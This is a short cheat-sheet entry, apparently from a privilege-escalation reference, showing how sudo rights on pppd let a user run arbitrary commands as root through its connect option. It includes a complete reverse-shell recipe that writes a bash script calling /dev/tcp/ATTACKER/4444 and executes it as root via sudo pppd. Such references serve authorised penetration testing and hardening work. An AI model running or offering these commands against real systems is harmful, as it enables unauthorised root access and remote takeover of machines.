Command execution

sudo pppd noauth connect /tmp/evil.sh nodetach pty "sleep 1"

Shell

printf '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1\n' > /tmp/shell.sh
chmod +x /tmp/shell.sh
sudo pppd noauth connect /tmp/shell.sh nodetach pty "sleep 1"